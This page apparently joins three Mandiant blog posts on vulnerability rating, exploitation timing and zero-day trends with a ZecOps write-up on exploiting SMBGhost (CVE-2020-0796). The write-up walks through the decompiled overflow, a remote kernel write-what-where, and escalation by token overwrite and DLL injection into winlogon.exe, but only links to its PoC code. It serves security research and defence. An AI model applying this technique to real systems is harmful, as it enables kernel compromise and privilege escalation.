We won’t spam, pinky swear 🤞

Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Every information security practitioner knows that patching vulnerabilities is one of the first steps towards a healthy and well-maintained organization. But with thousands of vulnerabilities disclosed each year and media hype about the newest “branded” vulnerability on the news, it’s hard to know where to start.

The National Vulnerability Database (NVD) considers a range of factors that are fed into an automated process to arrive at a score for CVSSv3. Mandiant Threat Intelligence takes a different approach, drawing on the insight and experience of our analysts (Figure 1). This human input allows for qualitative factors to be taken into consideration, which gives additional focus to what matters to security operations.


Figure 1: How Mandiant Rates Vulnerabilities

Assisting Patch Prioritization

We believe our approach results in a score that is more useful for determining patching priorities, as it allows for the adjustment of ratings based on factors that are difficult to quantify using automated means. It also significantly reduces the number of vulnerabilities rated ‘high’ and ‘critical’ compared to CVSSv3 (Figure 2). We consider critical vulnerabilities to pose significant security risks and strongly suggest that remediation steps are taken to address them as soon as possible. We also believe that limiting ‘critical’ and ‘high’ designations helps security teams to effectively focus attention on the most dangerous vulnerabilities. For instance, from 2016-2019 Mandiant only rated two vulnerabilities as critical, while NVD assigned 3,651 vulnerabilities a ‘critical’ rating (Figure 3).


Figure 2: Criticality of US National Vulnerability Database (NVD) CVSSv3 ratings 2016-2019 compared to Mandiant vulnerability ratings for the same vulnerabilities


Figure 3: Numbers of ratings at various criticality tiers from NVD CVSSv3 scores compared to Mandiant ratings for the same vulnerabilities

Mandiant Vulnerability Ratings Defined

Our rating system includes both an exploitation rating and a risk rating:

The Exploitation Rating is an in indication of what is occurring in the wild.


Figure 4: Mandiant Exploitation Rating definitions

The Risk Rating is our expert assessment of what impact an attacker could have on a targeted organization, if they were to exploit a vulnerability.


Figure 5: Mandiant Risk Rating definitions

We intentionally use the critical rating sparingly, typically in cases where exploitation has serious impact, exploitation is trivial with often no real mitigating factors, and the attack surface is large and remotely accessible. When Mandiant uses the critical rating, it is an indication that remediation should be a top priority for an organization due to the potential impacts and ease of exploitation.

For example, Mandiant Threat Intelligence rated CVE-2019-19781 as critical due to the confluence of widespread exploitation—including by APT41—the public release of proof-of-concept (PoC) code that facilitated automated exploitation, the potentially acute outcomes of exploitation, and the ubiquity of the software in enterprise environments.

CVE-2019-19781 is a path traversal vulnerability of the Citrix Application Delivery Controller (ADC) 13.0 that when exploited, allows an attacker to remotely execute arbitrary code. Due to the nature of these systems, successful exploitation could lead to further compromises of a victim's network through lateral movement or the discovery of Active Directory (AD) and/or LDAP credentials. Though these credentials are often stored in hashes, they have been proven to be vulnerable to password cracking. Depending on the environment, the potential second order effects of exploitation of this vulnerability could be severe.

We described widespread exploitation of CVE-2019-19781 in our blog post earlier this year, including a timeline from disclosure on Dec. 17, 2019, to the patch releases, which began a little over a month later on Jan. 20, 2020. Significantly, within hours of the release of PoC code on Jan. 10, 2020, we detected reconnaissance for this vulnerability in FireEye telemetry data. Within days, we observed weaponized exploits used to gain footholds in victim environments. On the same day the first patches were released, Jan. 20, 2020, we observed APT41, one of the most prolific Chinese groups we track, kick off an expansive campaign exploiting CVE-2019-19781 and other vulnerabilities against numerous targets.

Factors Considered in Ratings

Our vulnerability analysts consider a wide variety of impact-intensifying and mitigating factors when rating a vulnerability. Factors such as actor interest, availability of exploit or PoC code, or exploitation in the wild can inform our analysis, but are not primary elements in rating.

Impact considerations help determine what impact exploitation of the vulnerability can have on a targeted system.

Impact Type

Impact Consideration

Exploitation Consequence

The result of successful exploitation, such as privilege escalation or remote code execution

Confidentiality Impact

The extent to which exploitation can compromise the confidentiality of data on the impacted system

Integrity Impact

The extent to which exploitation allows attackers to alter information in impacted systems

Availability Impact

The extent to which exploitation disrupts or restricts access to data or systems

Mitigating factors affect an attacker’s likelihood of successful exploitation.

Mitigating Factor

Mitigating Consideration

Exploitation Vector

What methods can be used to exploit the vulnerability?

Attacking Ease

How difficult is the exploit to use in practice?

Exploit Reliability

How consistently can the exploit execute and perform the intended malicious activity?

Access Vector

What type of access (i.e. local, adjacent network, or network) is required to successfully exploit the vulnerability?

Access Complexity

How difficult is it to gain access needed for the vulnerability?

Authentication Requirements

Does the exploitation require authentication and, if so, what type of authentication?

Vulnerable Product Ubiquity

How commonly is the vulnerable product used in enterprise environments?

Product's Targeting Value

How attractive is the vulnerable software product or device to threat actors to target?

Vulnerable Configurations

Does exploitation require specific configurations, either default or non-standard?

Mandiant Vulnerability Rating System Applied

The following are examples of cases in which Mandiant Threat Intelligence rated vulnerabilities differently than NVD by considering additional factors and incorporating information that either was not reported to NVD or is not easily quantified in an algorithm.

Vulnerability

Vulnerability Description

NVD Rating

Mandiant Rating

Explanation

CVE-2019-12650

A command injection vulnerability in the Web UI component of Cisco IOS XE versions 16.11.1 and earlier that, when exploited, allows a privileged attacker to remotely execute arbitrary commands with root privileges

High

Low

This vulnerability was rated high by NVD, but Mandiant Threat Intelligence rated it as low risk because it requires the highest level of privileges – level 15 admin privileges – to exploit. Because this level of access should be quite limited in enterprise environments, we believe that it is unlikely attackers would be able to leverage this vulnerability as easily as others. There is no known exploitation of this activity.

CVE-2019-5786

A use after free vulnerability within the FileReader component in Google Chrome 72.0.3626.119 and prior that, when exploited, allows an attacker to remotely execute arbitrary code. 

 

Medium

High

NVD rated CVE-2019-5786 as medium, while Mandiant Threat Intelligence rated it as high risk. The difference in ratings is likely due to NVD describing the consequences of exploitation as denial of service, while we know of exploitation in the wild which results in remote code execution in the context of the renderer, which is a more serious outcome.

As demonstrated, factors such as the assessed ease of exploitation and the observance of exploitation in the wild may result a different priority rating than the one issued by NVD. In the case of CVE-2019-12650, we ultimately rated this vulnerability lower than NVD due to the required privileges needed to execute the vulnerability as well as the lack of observed exploitation. On the other hand, we rated the CVE-2019-5786 as high risk due to the assessed severity, ubiquity of the software, and confirmed exploitation.

In early 2019, Google reported two zero-day vulnerabilities were being used together in the wild: CVE-2019-5786 (Chrome zero-day vulnerability) and CVE-2019-0808 (a Microsoft privilege escalation vulnerability). Google quickly released a patch for the Chrome vulnerability pushed it to users through Chrome’s auto-update feature on March 1. CVE-2019-5786 is significant because it can impact all major operating systems, Windows, Mac OS, and Linux, and requires only minimal user interaction, such as navigating or following a link to a website hosting exploit code, to achieve remote code execution. The severity is further compounded by a public blog post and proof of concept exploit code that was released a few weeks later and subsequently incorporated into a Metasploit module.

The Future of Vulnerability Analysis Requires Algorithms and Human Intelligence

We expect that the volume of vulnerabilities to continue to increase in coming years, emphasizing the need for a rating system that accurately identifies the most significant vulnerabilities and provides enough nuance to allow security teams to tackle patching in a focused manner. As the quantity of vulnerabilities grows, incorporating assessments of malicious actor use, that is, observed exploitation as well as the feasibility and relative ease of using a particular vulnerability, will become an even more important factor in making meaningful prioritization decisions.

Mandiant Threat Intelligence believes that the future of vulnerability analysis will involve a combination of machine (structured or algorithmic) and human analysis to assess the potential impact of a vulnerability and the true threat that it poses to organizations. Use of structured algorithmic techniques, which are common in many models, allows for consistent and transparent rating levels, while the addition of human analysis allows experts to integrate factors that are difficult to quantify, and adjust ratings based on real-world experience regarding the actual risk posed by various types of vulnerabilities.

Human curation and enhancement layered on top of automated rating will provide the best of both worlds: speed and accuracy. We strongly believe that paring down alerts and patch information to a manageable number, as well as clearly communicating risk levels with Mandiant vulnerability ratings makes our system a powerful tool to equip network defenders to quickly and confidently take action against the highest priority issues first.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.


Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.


Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

Time to Exploit for Vulnerabilities First Exploited after a Patch

Hours

Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602.

Days

12 percent of vulnerabilities were exploited within the first week following the patch release.

One Month

15 percent of vulnerabilities were exploited after one week but within one month of patch release.

Years

In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.


Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.


Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.


Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events

Product

CVE

FireEye Risk Rating

1 day

WinRAR

CVE-2018-20250

Medium

1 day

Drupal

CVE-2018-7600

High

1 day

Cisco Adaptive Security Appliance

CVE-2018-0296

Medium

2 days

Apache Struts

CVE-2018-11776

High

2 days

Cisco Adaptive Security Appliance

CVE-2018-0101

High

2 days

Oracle WebLogic Server

CVE-2018-2893

High

2 days

Microsoft Windows Server

CVE-2018-8440

Medium

2 days

Drupal

CVE-2019-6340

Medium

2 days

Atlassian Confluence

CVE-2019-3396

High

Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.


Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

Outlook and Implications

The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.

Zero-Day Usage by Country and Group

Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.

Examples include:

  • A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group.
  • The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
  • Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities.

We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance:

  • In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
  • FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
  • Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.

Zero-Day Exploitation by Major Cyber Powers

We have continued to see exploitation of zero days by espionage groups of major cyber powers.

  • According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016.
  • FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
  • From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued.
  • In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products. 

In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application. 

Zero-Day Use by Financially Motivated Actors

Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups.

In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor "BuggiCorp," we have not identified direct evidence linking this actor to this exploit's development or sale.

Conclusion

We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include:

  • Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
  • Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.

It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar. 

Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero's zero-day "In the Wild" Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC

Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC

Introduction

CVE-2020-0796 is a bug in the compression mechanism of SMBv3.1.1, also known as “SMBGhost”. The bug affects Windows 10 versions 1903 and 1909, and it was announced and patched by Microsoft about three weeks ago. Once we heard about it, we skimmed over the details and created a quick POC (proof of concept) that demonstrates how the bug can be triggered remotely, without authentication, by causing a BSOD (Blue Screen of Death). A couple of days ago we returned to this bug for more than just a remote DoS. The Microsoft Security Advisory describes the bug as a remote code execution (RCE) vulnerability, but there is no public POC that demonstrates RCE through this bug.

Initial Analysis

The bug is an integer overflow bug that happens in the Srv2DecompressData function in the srv2.sys SMB server driver. Here’s a simplified version of the function, with the irrelevant details omitted:

typedef struct _COMPRESSION_TRANSFORM_HEADER
{
    ULONG ProtocolId;
    ULONG OriginalCompressedSegmentSize;
    USHORT CompressionAlgorithm;
    USHORT Flags;
    ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct _ALLOCATION_HEADER
{
    // ...
    PVOID UserBuffer;
    // ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }

    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }

    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}

The Srv2DecompressData function receives the compressed message which is sent by the client, allocates the required amount of memory, and decompresses the data. Then, if the Offset field is not zero it copies the data that is placed before the compressed data as is to the beginning of the allocated buffer.

If we look carefully, we can notice that lines 20 and 31 can lead to an integer overflow for certain inputs. For example, most POCs that appeared shortly after the bug publication and crashed the system just used the 0xFFFFFFFF value for the Offset field. Using the value 0xFFFFFFFF triggers an integer overflow on line 20, and as a result less bytes are allocated.

Later, it triggers an additional integer overflow on line 31. The crash happens due to a memory access at the address calculated in line 30, far away from the received message. If the code verified the calculation at line 31, it would bail out early since the buffer length happens to be negative and cannot be represented, and that makes the address itself on line 30 invalid as well.

Choosing what to overflow

There are only two relevant fields that we can control to cause an integer overflow: OriginalCompressedSegmentSize and Offset, so there aren’t that many options. After trying several combinations, the following combination caught our eye: what if we send a legit Offset value and a huge OriginalCompressedSegmentSize value? Let’s go over the three steps the code is going to execute:

  1. Allocate: The amount of allocated bytes will be smaller than the sum of both fields due to the integer overflow.
  2. Decompress: The decompression will receive a huge OriginalCompressedSegmentSize value, treating the target buffer as practically having limitless size. All other parameters are unaffected thus it will work as expected.
  3. Copy: If it’s ever going to be executed (will it?), the copy will work as expected.

Whether or not the Copy step is going to be executed, it already looks interesting – we can trigger an out of bounds write on the Decompress stage since we managed to allocate less bytes then necessary on the Allocate stage.

As you can see, using this technique we can trigger an overflow of any size and content, which is a great start. But what is located beyond our buffer? Let’s find out!

Diving into SrvNetAllocateBuffer

To answer this question, we need to look at the allocation function, in our case SrvNetAllocateBuffer. Here is the interesting part of the function:

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
    // ...

    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
        if (AllocSize > 0x1000100) {
            return NULL;
        }
        Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
    } else {
        int LookasideListIndex = 0;
        if (AllocSize > 0x1100) {
            LookasideListIndex = /* some calculation based on AllocSize */;
        }

        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
        Result = /* fetch result from list */;
    }

    // Initialize some Result fields...

    return Result;
}

We can see that the allocation function does different things depending on the required amount of bytes. Large allocations (larger than about 16 MB) just fail. Medium allocations (larger than about 1 MB) use the SrvNetAllocateBufferFromPool function for the allocation. Small allocations (the rest) use lookaside lists for optimization.

Note: There’s also the SrvDisableNetBufferLookAsideList flag which can affect the functionality of the function, but it’s set by an undocumented registry setting and is disabled by default, so it’s not very interesting.

Lookaside lists are used for effectively reserving a set of reusable, fixed-size buffers for the driver. One of the capabilities of lookaside lists is to define a custom allocation/free functions which will be used for managing the buffers. Looking at references for the SrvNetBufferLookasides array, we found that it’s initialized in the SrvNetCreateBufferLookasides function, and by looking at it we learned the following:

  • The custom allocation function is defined as SrvNetBufferLookasideAllocate, which just calls SrvNetAllocateBufferFromPool.
  • 9 lookaside lists are created with the following sizes, as we quickly calculated with Python:
    >>> [hex((1 << (i + 12)) + 256) for i in range(9)]
    [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

    It matches our finding that allocations larger than 0x100100 bytes are allocated without using lookaside lists.

The conclusion is that every allocation request ends up in the SrvNetBufferLookasideAllocate function, so let’s take a look at it.

SrvNetBufferLookasideAllocate and the allocated buffer layout

The SrvNetBufferLookasideAllocate function allocates a buffer in the NonPagedPoolNx pool using the ExAllocatePoolWithTag function, and then fills some of the structures with data. The layout of the allocated buffer is the following:

The only relevant parts of this layout for the scope of our research are the user buffer and the ALLOCATION_HEADER struct. We can see right away that by overflowing the user buffer, we end up overriding the ALLOCATION_HEADER struct. Looks very convenient.

Overriding the ALLOCATION_HEADER struct

Our first thought at this point was that due to the check that follows the SmbCompressionDecompress call:

if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

SrvNetFreeBuffer will be called and the function will fail, since we crafted OriginalCompressedSegmentSize to be a huge number, and FinalCompressedSize is going to be a smaller number which represents the actual amount of decompressed bytes. So we analyzed the SrvNetFreeBuffer function, managed to replace the allocation pointer to a magic number, and waited for the free function to try and free it, hoping to leverage it later for use-after-free or similar. But to our surprise, we got a crash in the memcpy function. That has made us happy, since we didn’t hope to get there at all, but we had to check why it happened. The explanation can be found in the implementation of the SmbCompressionDecompress function:

NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...

    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }

    // ...

    return Status;
}

Basically, if the decompression succeeds, FinalCompressedSize is updated to hold the value of CompressedBufferSize, which is the size of the buffer. This deliberate update of the FinalCompressedSize return value seemed quite suspicious for us, since this little detail, together with the allocated buffer layout, allows for a very convenient exploitation of this bug.

Since the execution continues to the stage of copying the raw data, let’s review the call once again:

memcpy(
    Alloc->UserBuffer,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
    Header->Offset);

The target address is read from the ALLOCATION_HEADER struct, the one that we can override. The content and the size of the buffer are controlled by us as well. Jackpot! Write-what-where in the kernel, remotely!

Remote write-what-where implementation

We did a quick implementation of a Write-What-Where CVE-2020-0796 Exploit in Python, which is based on the CVE-2020-0796 DoS POC of maxpl0it. The code is fairly short and straightforward.

Local Privilege Escalation

Now that we have the write-what-where exploit, what can we do with it? Obviously we can crash the system. We might be able to trigger remote code execution, but we didn’t find a way to do that yet. If we use the exploit on localhost and leak additional information, we can use it for local privilege escalation, as it was already demonstrated to be possible via several techniques.

The first technique we tried was proposed by Morten Schenk in his Black Hat USA 2017 talk. The technique involves overriding a function pointer in the .data section of the win32kbase.sys driver, and then calling the appropriate function from user mode to gain code execution. j00ru wrote a great writeup about using this technique in WCTF 2018, and provided his exploit source code. We adjusted it for our write-what-where exploit, but found out that it doesn’t work since the thread that handles the SMB messages is not a GUI thread. Due to this, win32kbase.sys is not mapped, and the technique is not relevant (unless there’s a way to make it a GUI thread, something we didn’t research).

We ended up using the well known technique covered by cesarcer in 2012 in his Black Hat presentation Easy Local Windows Kernel Exploitation. The technique is about leaking the current process token address by using the NtQuerySystemInformation(SystemHandleInformation) API, and then overriding it, granting the current process token privileges that can then be used for privilege escalation. The Abusing Token Privileges For EoP research by Bryan Alexander (dronesec) and Stephen Breen (breenmachine) (2017) demonstrates several ways of using various token privileges for privilege escalation.

We based our exploit on the code that Alexandre Beaulieu kindly shared in his Exploiting an Arbitrary Write to Escalate Privileges writeup. We completed the privilege escalation after modifying our process’ token privileges by injecting a DLL into winlogon.exe. The DLL’s whole purpose is to launch a privileged instance of cmd.exe. Our complete Local Privilege Escalation Proof of Concept can be found here and is available for research / defensive purposes only.

Summary

We managed to demonstrate that the CVE-2020-0796 vulnerability can be exploited for local privilege escalation. Note that our exploit is limited for medium integrity level, since it relies on API calls that are unavailable in a lower integrity level. Can we do more than that? Maybe, but it will require more research. There are many other fields that we can override in the allocated buffer, perhaps one of them can help us achieve other interesting things such as remote code execution.

POC Source Code

Remediation

  1. We recommend updating servers and endpoints to the latest Windows version to remediate this vulnerability. If possible, block port 445 until updates are deployed. Regardless of CVE-2020-0796, we recommend enabling host-isolation where possible.
  2. It is possible to disable SMBv3.1.1 compression in order to avoid triggers to this bug, however we recommend to do full update instead if possible.

ZecOps Customers & Partners

ZecOps Digital Forensics and Incident Response (DFIR) customers can detect such exploitation attempts as “CVE-2020-0796” using ZecOps agentless solution: Neutrino for Servers and Endpoints. To try ZecOps technology and see a demo, you can contact us here

Researchers wanted

At ZecOps we’re working on offensive cyber security research for defensive purposes. We are hiring additional researchers & exploit developers in various platforms including iOS and Windows. If you are interested, contact us here.

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

